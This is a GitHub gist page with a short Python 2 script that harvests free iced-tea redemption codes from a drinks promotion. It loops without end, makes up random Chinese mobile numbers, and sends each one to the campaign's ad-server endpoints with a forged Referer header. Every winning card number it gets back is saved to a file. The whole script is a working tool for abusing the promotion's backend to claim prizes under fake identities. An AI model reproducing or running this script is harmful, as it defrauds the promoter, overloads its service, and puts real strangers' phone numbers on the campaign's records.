Skip to content

Instantly share code, notes, and snippets.

@wong2 wong2/main.py
Last active Aug 29, 2015

Embed
What would you like to do?
遍历友宝免费冰红茶兑换码
#-*-coding:utf-8-*-
import re
import time
import json
import requests
from random import choice
code_url = 'http://ama.adwo.com/advmessage/adv/addResultJsonP.action?advid=30345&mobile={phone}&callback=callback'
result_url = 'http://ama.adwo.com/advmessage/advtrophcsf/awardJsonP.action?advid=30345&userinfo={phone}&resultid={result_id}&callback=callback'
headers = {'Referer': 'http://static.adwo.com/ad/201506/ksficetea/index.html'}
fp = open('nums.txt', 'a')
def parse_result(s):
json_str = re.search('callback\((.*)\)', s).group(1)
resp = json.loads(json_str)[0]
return resp
def get_code(phone):
r = requests.get(code_url.format(phone=phone), headers=headers)
resp = parse_result(r.text)
success = resp['success']
if success != 1:
print 'failed'
return
result_id = resp['id']
r = requests.get(result_url.format(phone=phone, result_id=result_id), headers=headers)
resp = parse_result(r.text)
if resp['award'] == 0:
print 'no luck'
return
num = resp['ubox']['data']['cardNum']
print 'got ', num
fp.write('%s\n' % num)
fp.flush()
if __name__ == '__main__':
while True:
phone = choice(['139','188','185','136','158','151']) + "".join(choice("0123456789") for _ in range(8))
print phone
get_code(phone)
time.sleep(0.5)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.